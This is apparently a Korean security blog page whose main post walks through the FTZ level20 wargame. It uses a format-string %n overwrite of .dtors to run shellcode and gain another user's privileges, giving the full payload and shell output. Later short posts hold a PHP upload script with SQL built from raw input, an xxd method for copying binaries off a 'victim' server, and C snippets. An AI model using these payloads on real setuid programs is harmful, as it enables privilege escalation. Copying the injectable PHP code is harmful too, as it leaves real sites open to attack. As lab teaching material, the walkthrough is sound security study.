아 이에대한 설명을 다루어야 되나 말아야 되나 고민이 됩니다. 이에 대해서도 훌륭한 문서들이 많이 있는데 말이죠. 대충 그거 한번 읽어보세요 하고 넘어가기도 그렇습니다. 자세한 설명은 못해도 문제해결에 필요한 요소를 간단하게 나마 다루어 보겠습니다.

  (1)무엇이 문제일까?

사실 printf(bleh);하여도 bleh의 문자열의 화면 출력에 문제는 없습니다.

그런데 bleh 안에 서식문자 %d나 %x %s 등이 들어있을 때 문제가 됩니다.

printf(bleh); 이렇게 함수를 사용하게 되면 문자열을 출력하다가 bleh배열 안에서 %d나 %x %s 등을 만나면 이들을 출력해야할 문자열로 보지 않고 서식문자로 인식해버린다는 것입니다.

이렇게 문자열을 출력하다가 서식문자를 만나면 메모리의 다음 4바이트 참조해서 출력하는 등 그 기능을 수행버 버리는 것입니다,.

문제의 프로그램이 printf함수까지 실행된다고 했을 때 스택의 모습입니다.

                /-------------------------/  메모리의 높은 숫자의 주소
                 |         ret             |     Stack
                /------------------/
                 |         sfb            |
                /------------------/
                 |       쓰레기1       |
                /------------------/
                 |                         |
                 |       쓰레기2       |
                 |                         |
                /------------------/
                 |                         |
                 |       bleh[80]      |
                 |                         |
                /------------------/
                 |                         |
                 |       ??생략??     |
                 |                         |
                /------------------/
                 |                         |<-- 이부분은 printf함수의 인자(bleh)가 저장되는 곳입니다.
                 |     printf(bleh)    |       이곳은 bleh의 주소가 담겨져있죠.
                 |                         |
                 /-------------------------/   메모리의  낮은 숫자의 주소

이러한 모습을 가지고 있을 텐데요..

(??생략??된 부분은 setreuid와 fgets함수 가 수행되었을 거라 생각되는 부분입니다. printf함수까지 실행된다면 setreuid와 fgets함수에 할당되었던 메모리 공간은 반환되어서 그 크기는 0일 것 같은데요. 정확히는 모르는 상황입니다.)

이제 printf함수가 실행이 된다면 인자로서 스택에 저장이 된 bleh주소를 참조하여 화면에 출력을 시작할 것입니다.

현재 esp는 스택에서 printf함수의 인자로 저장된 곳의 시작점을 가리키고 있습니다.

                 메모리 높은 주소
                /------------------/
                 |                         |
                 |     printf(bleh)    | bleh의 주소가 들어가 있다.
                 |                         |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

만약에 bleh에 "AAAA%x"를 입력한다면 어떻게 될까요?

처음에는 AAAA를 출력하겠지만, 서식문자 %x를 만나는 순간 현재 esp에서 4바이트 증가한 부분의 메모리의 내용을 16진수로 출력하게 되는 것입니다. 그렇다면 지금 그림에서는 ??생략??된 부분의 처음 4바이트의 내용을 출력하게 될 것입니다.

이때 bhel[80]에는 아래와 같이 입력한 데이터가 들어가 있겠죠?

                 메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                 /-----------------/ 
                  메모리 낮은 주소


실제 그러한지 문제의 프로그램에서 "AAAA%x"를 입력해보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x
AAAA4f

아 정말 AAAA가 출력되고 4f라는 16진수가 출력되었습니다.


만약에 아까 ??생략?? 된 부분의 크기가 0이었다면 어떻게 출력이 되었을까요?

                메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.(4바이트 크기)
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

이런 모습이었다면 "AAAA%x"를 입력했을 때 "AAAA0x41414141"이 출력이 되어야 겠습니다. 다음 4바이트가 바로 bleh[80]의 첫 4바이트에 해당되기 때문입니다.

그러면 실제 문제의 프로그램에서 서식문자를 몇개를 넣었을 때 비로소 bleh[80]이 읽히는지 알아보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x%x
AAAA4f40157460

[level20@ftz level20]$ ./attackme
AAAA%x%x%x
AAAA4f401574604009d500

[level20@ftz level20]$ ./attackme
AAAA%x%x%x%x
AAAA4f401574604009d50041414141

서식문자 %x를 4개를 넣었을 때 비로소 A의 16진수가 나왔습니다.

자 그래서 뭘 어떻게 하라는 말일까요?


  (2)우리에게 필요한 서식문자 %n

레벨20을 해결하는 데에 가장 중요한 서식문자 %n이 있습니다. 여태껏 printf(bleh) 이런식으로 사용하면 문자열중에 %d등과 같은 서식문자를 만나면 스택에서 다음 4바이트를 읽어서 출력한다고 했습니다.

그런데 %n은 독특한 기능을 합니다.

%n은 %n이 나오기 전에 출력된 자릿수를 계산하여 스택의 다음 4바이트에 있는 내용을 주소로 여기고 그 주소에 계산한 자릿수, 즉 숫자를 입력하는 것입니다.

자 그럼 "AAAA%n"을 넣었다고 하고 어떻게 되는지 그림으로 보겠습니다.

                메모리 높은 주소
                /------------------/
                 |          %n            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                메모리 낮은 주소

처음에는 당연히 AAAA를 출력합니다. %n을 만나면 지금까지 출력된 자릿수를 계산합니다. 계산하니 AAAA 4자리군요. 자이제 스택의 다음 4바이트의 내용을 확인합니다. 0x41414141 이겠군요(AAAA). 메모리의  0x41414141이라는 주소에 계산한 자릿수 4를 써버리는 것입니다.

그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하는 자릿수를 지정할 수도 있습니다.

예를 들어  %100c%n 이랗고 한다면 100이라는 숫자를 넣는다는 것입니다.


오~ 여기서 키포인트가 나옵니다. 우리가 원하는 메모리 주소에 원하는 내용을 쓸 수 있다는 것입니다.

ret주소에 쉘코드 주소를 쓸 수 있다는 결론이 나옵니다.

ret주소는 알아내면 될 것이고, %n은 자릿수를 10진수로 해서 넣으니 쉘코드 주소를 10진수로 바꿔서 ret주소에 써버리면 되겠습니다.


  (3)원하는 주소에 원하는 값 넣기

%임의정수c로써 %n이 인식하는 자릿수를 마음대로 정할 수 있으므로, 우리는 %임의정수c를 이용하여야 합니다. 그런데 %임의정수c에도 %c라는 서식문자가 포함되어 있기때문에 역시 스택의 4바이트를 출력하게 됩니다. 따라서 %임의정수c에 의해서 출력될 4바이트도 입력해주어야 합니다.(지금 글에서는 AAAA라는 문자를 이용하여 %임의정수c에 의해서 출력되도록 하였습니다.)

쉘코드의 주소를  입력하는데 10진수로 바꿔서 입력되도록 하여야 합니다. 그런데 일반 x86시스템에서는 정수를 이용하여 0xffffffff(4294967295)만 큼의 크기를 지정할 수 없습니다. 그래서 나온 방법이 쉘코드의 주소를 2바이트씩 나누어서 입력하는 것 입니다.

예를 들면 쉘코드의 주소가 0xbffffab8이라면 bfff와 fab8으로 나누어서 각자 10진수로 바꾸는 것입니다.

그리고 ret 주소가 08049594이라면 08049594에 2바이트(fab8)를 입력하고, 이제 2바이트 증가한 08049596에 나머지 2바이트(bfff)를 입력하는 것 방식을 취하는 것입니다.

(fab8 = 64184) 은 08049594의 주소에 넣고, (bfff  = 49151) 은 08049596의 주소에 들어가도록 해야 겠습니다.

또한 리틀 엔디안 방식을 취하고 있으므로 낮은 자리수의 것을 먼저 입력해야 할 것입니다.

또 한가지 알아야 할 부분은 레벨20의 프로그램은 서식문자가 4개가 되어서야 bleh[80]을 읽어내기 시작하였다는 것을 앞에서 확인하였습니다. 쉘코드를 입력할 ret의 주소가 bleh에 있기 때문에 esp가 가리키는 곳을 bleh까지 옮기기 위해 서식문자 %8x를 3개사용하여야 합니다. %8x로 한것은 각 부분이 최대 8자리를 차지하기 때문입니다.


자 그래서 지금까지 살펴본 것들을 토대로 하면 우리가 bleh입력할 문자열의 생김새는 다음과 같습니다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


%64144c와 %50503c에 대해서 설명을 하겠습니다.

원래 쉘코드를 10진수로 바꾸면 64184와 49151입니다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것입니다.

50503은 역시 원래 49151(bfff)입니다. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 됩니다. 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 합니다. 

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 되었습니다.

최종적으로 우리가 bleh에 입력할 문자열의 모습은 위와 같겠습니다.


4. ret주소와 .dtors

먼저 우리는 ret주소를 알아내야 합니다. 하지만 레벨20의 프로그램은 gdb로 실행이 안되어서 ret주소를 찾을 수가 없습니다.

그래서 .dtors라는 것을 이용하는데 이에 대한 설명은 하지 않겠습니다

 .dtors는 main함수가 끝나고 실행이 되는 명령이 있는 곳이라고 합니다. 이는 gcc로 컴파일한 경우에만 존재하는 것이라고합니다.

우리가 이 .dtors주소에 쉘코드의 주소를 덮어 쓰는 것입니다.

우리는 쉽게 이 .dotrs주소를 알아낼 수 있는데요.  명령은 다음과 같습니다

[

level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008 08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


5. 문제해결

이제 지금까지 살펴본 내용을 토대로 하여 레벨20 해결을 시도해 보겠습니다.


  (1)쉘코드 주소

먼저 에그쉘을 실행시키고 쉘코드의 주소를 알아보겠습니다.

[level20@ftz level20]$ ./tmp/egg
Using address: 0xbffffaa8


  (2)ret주소 또는 ./dtors

레벨20의 프로그램은 gdb에서 실행이 되지 않으므로 .dtors의 주소를 알아내어 그 주소에 쉘코드 주소를 덮어 쓰는 방식으로 하겠습니다.

[level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008  08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


  (3)입력할 문자열

%임의정수c의 %c에 의해서 스택에서 읽혀질 문자 4바이트 "AAAA"를 입력.

%8x를 세개 넣어서 bleh를 참조하도록 함.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%임의정수1c%n%임의정수2c%n

임의정수1c = 쉘코드 주소(bffffaa8)중 faa8에서 앞의 자릿수(4+4+4+4+8+8+8 = 40)을 뺀 결과 64128
임의정수2c = 쉘코드 주소(bffffaa8)중 bfff앞에 1을 붙인 1bfff에서 (40+64128)을 뺀결과 50519

따라서 입력할 문자열은

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n

이 됩니다.

이것이 스택에 틀어간 모습을 그려보겠습니다.

                                     메모리의 높은 숫자의 주소
                /-------------------------/  
                 |            ret                      |     Stack
                /-------------------------/
                 |             sfb                    |
                /-------------------------/
                 |          쓰레기1                |
                /-------------------------/
                 |          쓰레기2                |
                /-------------------------/
                 |               %n                |
                 |           %50519c            |
                 |               %n                |
                 |           %64128c            |
                 |              %8x                | 
                 |             %8x                 |
                 |             %8x                 |
                 |   \x9a\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+24)
                 |            AAAA                |  ← %50519c에 의해서 AAA가 출력 (esp+24)
                 |   \x98\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+20)
                 |            AAAA                |  ← %64128c에 의해 AAAA가 출력(esp+16)
                /------------------------/
                 |                                    |  ← %8x(esp+12)
                 |          ??생략??             |  ← %8x(esp+8)
                 |                                    |  ← %8x를 만나 이 위치의 내용을 출력, esp+4)
                /------------------------/
                 |                                    |
                 |         printf(bleh)           |   ←AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08을 
                 |                                    |     화면에 출력               
                 /-------------------------/←printf함수에 의해 출력이 시작할 때 스택의 위치(esp+0)
                                      메모리의  낮은 숫자의 주소


  (4)포맷스트링버그

이제 해당 문자열을 입력해보겠습니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme
~~
공백
~~
                                                              A
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)

드디어 clear의 uid가 되었습니다.

성공하였습니다. 포맷스트링버그 이해는 하고 있지만 설명하기가 무척 어려웠습니다.
이점 이해해주시구요 -_-

수고하셨습니다.

Posted by k1rha
2012. 3. 25. 12:01


<?
include_once "../common/common.php";

 

 $title=htmlspecialchars($_POST['write_info']);
 $currentTime = date("Y-m-d",time());

 

if(!$title){

?> <script>
 alert("Plz insert title or file");
 location.href="./index.php";
 </script>
<?
  
}

else{

 $FILE=$_FILES['FILE']['name'];
  $cut=explode('.',$FILE);
  $size=sizeof($cut);
  $extension=$cut[$size-1];
  $result=strtolower($extension);

 $addr='javascript:history.back()';

 if ($FILE){
  $SVFILE=date('y-m-d H:i:s').md5($FILE).'.'.$result;
  $img_flag_1=($result=='bmp' or $result=='dib' or $result=='jpg' or $result=='jpeg' or $result=='jpe' or $result=='jfif' or $result=='gif' or $result=='tif' or $result=='tiff' or $result=='png');
  $img_flag_2=($_FILES['FILE']['type']=='image/bmp' or $_FILES['FILE']['type']=='image/dib' or $_FILES['FILE']['type']=='image/jpg' or $_FILES['FILE']['type']=='image/jpeg' or $_FILES['FILE']['type']=='image/pjpeg' or $_FILES['FILE']['type']=='image/jpe' or $_FILES['FILE']['type']=='image/jfif' or $_FILES['FILE']['type']=='image/gif' or $_FILES['FILE']['type']=='image/tif' or $_FILES['FILE']['type']=='image/tiff' or $_FILES['FILE']['type']=='image/png' or $_FILES['FILE']['type']=='image/x-png');
  if ($img_flag_1){
   if ($img_flag_2){
    if($_FILES['FILE']['error']>0){
     $msg='파일을 업로드 할 수 없습니다.';
    }
    if (file_exists('./upload/'.$SVFILE)){
     $msg='파일을 업로드 할 수 없습니다.';
    }
    else{
     move_uploaded_file($_FILES['FILE']['tmp_name'],'./upload/'.$SVFILE);
    }
   }
   else{
    $msg='파일을 업로드 할 수 없습니다.<br>'.$_FILES['FILE']['type'];
   }
  }
  else{
   $msg='파일을 업로드 할 수 없습니다.';
  }
 }
 else{
  $SVFILE='';
  echo("file error");
  echo("<script>
  location.href='./index.php';
  </script>");
 }

 


 $sql="insert into trip (memo,file,date) values ('$title','$SVFILE','$currentTime')";

 mysql_query ($sql);


 //die($sql);


 ?>


 <script>
  location.href="./index.php";
 </script>
 <?

}

 

?>

Posted by k1rha
2012. 3. 23. 20:55
리눅스 환경의 문제의 경우 바이너리 파일만 존재 하는 경우가 있다.

하지만 이 파일을 IDA로 분석하기 위해서는 다운을 받아야 하게 되는데, 환경만 된다면 sftp 나 wget 을 이용하여 받을수 있다. 하지만 이것이 불가능 한 경우가 있다.

이 경우는 xxd 명령어를 통하여 바이너리를 그대로 텍스트 형식으로 저장하여 옴겨서 다시 새로운 바이너리 파일을 만드는 방식을 사용 할 수 있다. 


victim-server> xxd [binary file] > result
victim-server> cat result
...............contents..........
.................................
.................................
(복사하여 내 서버에 옴긴다)


k1rha`s-server > vi result


...............contents..........
.................................
.................................
(복사한 내용을 붙인다.)

%!xxd -r
:wq recovery

k1rha`s-server> chmod 777  recovery  
k1rha`s-server> ./recoverr 

하면 바이너리 파일를 그대로 옴겨 실행 할 수 있다.

이 후 window 로 가져올때는  wget을 이용하던 웹을 이용하던 ftp를 이용하던 자유롭게 자신의 컴퓨터로 다운 받으면 된다. 





                                              Thanks for [ CodeAche ] bro~  




Posted by k1rha
2012. 3. 21. 03:08
void *calloc(size_t
nmemb, size_t size);
void *malloc(size_t size);

malloc과 calloc의
prototype은 위와 같습니다.
malloc은
size만큼의 메모리를 확보한 후에, 그 시작 주소를 리턴합니다.
calloc은
nmemb*size만큼의 메모리를 확보한 후에, 그 영역을 모두 0으로 초기화 하고
시작 주소를 리턴합니다.
calloc같은 건
배열을 위한 메모리를 확보할 때 좀 더 편리하게 사용할 수 있는
함수입니다.
하지만
malloc으로 못 할 건 없겠지요. ^^
아래 둘은 그
결과가 똑같습니다.
1. b = (int*)
calloc(n, sizeof(int));
2. b = (int*)
malloc(n * sizeof(int)); memset(b, 0, n*sizeof(int));

malloc으로 했을
때, memset(b, 0, n*sizeof(int)) 부분이 없다면, b가 가리키고 있는 메모리
영역에는 쓰레기 값이 들어가 있습니다. b[0]에만 들어가 있는 것이 아니라,
할당된 메모리 영역 전체에 이전에 누군가 썼던 내용이 그대로 들어 있단
말이지요.
Posted by k1rha
2012. 3. 21. 03:08

HANDEL hEvent;

hEvent=CreateEvent(NULL,FALSE,TRUE,AfxGetAppName());

if(GetLastError()==ERROR_ALREADY_EXISTS)

{

AfxMessageBox("이미 실행중입니다.");

return FALSE;

}

Posted by k1rha